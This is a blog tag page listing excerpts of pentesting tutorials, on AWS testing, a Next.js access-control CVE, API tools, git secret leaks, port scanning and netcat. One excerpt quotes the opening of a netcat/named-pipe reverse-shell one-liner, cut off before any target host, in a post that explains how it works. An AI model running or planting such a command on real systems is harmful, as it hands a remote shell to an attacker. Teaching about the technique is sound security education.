#pentest Development Tutorials & Tips | Roast Dev

Basics of Pentest on AWS Environment

Basics of Pentest on an AWS Environment Preparation and Authorization a. Obtain Permission: Secure written authorization from the AWS account owner and follow AWS’s penetration testing po...

23.03.2025 0 Read More

Next.js Middleware Broken Access Controls

Recently, an Authorization Bypass vulnerability was discovered in the Next.js framework (one of the most popular today) and was cataloged as CVE-2025-29927 and received a CVSS score of 9.1 (which is v...

27.03.2025 0 Read More

Mastering Cybersecurity: A Guide to Pentest+, CySA+, and SecurityX Certifications

Introduction As cyber threats continue to evolve, organizations require skilled professionals to protect their networks, detect vulnerabilities, and mitigate cyber risks. Cybersecurity certif...

27.03.2025 0 Read More

🔐 Top 8 API Pentesting Tools Every Developer & Security Pro Should Know

APIs are the unsung heroes of modern apps—but they also open doors to attackers. Whether you’re building web apps, mobile backends, or cloud-native services, securing your APIs is non-negotiable.A...

10.04.2025 0 Read More

How i Became a Pentester | Como me Tornei um Pentester

🇬🇧 - Hello, nice to meet you, my name is Gustavo and I’m a Pentester for about one and a half years, and I wanted to share my journey with you. :) Chapter One - The Dream It all starte...

28.04.2025 0 Read More

Git Tales: Secrets in the Shadows

⛶Part 1 of 3 in Git Tales Series Overview In my recent bug hunting, I stumbled across something that perfectly shows why "deleted" doesn't always mean "gone." I discovered a particularly cri...

29.04.2025 0 Read More

Criando um Port Scan com Python3

Introdução No artigo de hoje, vamos desenvolver um Port Scan utilizando Python 3, mas, antes de mais nada, é fundamental compreender o que é um port scan e como ele funciona. Ente...

29.04.2025 0 Read More

[REPOST] Installing Genymotion for Android App Pentesting: The Definitive Guide

With the growing use of mobile applications, the security of these applications has become a key concern for developers and businesses. Although it is sometimes overlooked, testing the security of And...

02.05.2025 0 Read More

Understanding a Netcat-Based Reverse Shell Using FIFO

One-liners like the following are often used in offensive security contexts to establish shell access via netcat and named pipes: ⛶rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | ...

03.05.2025 0 Read More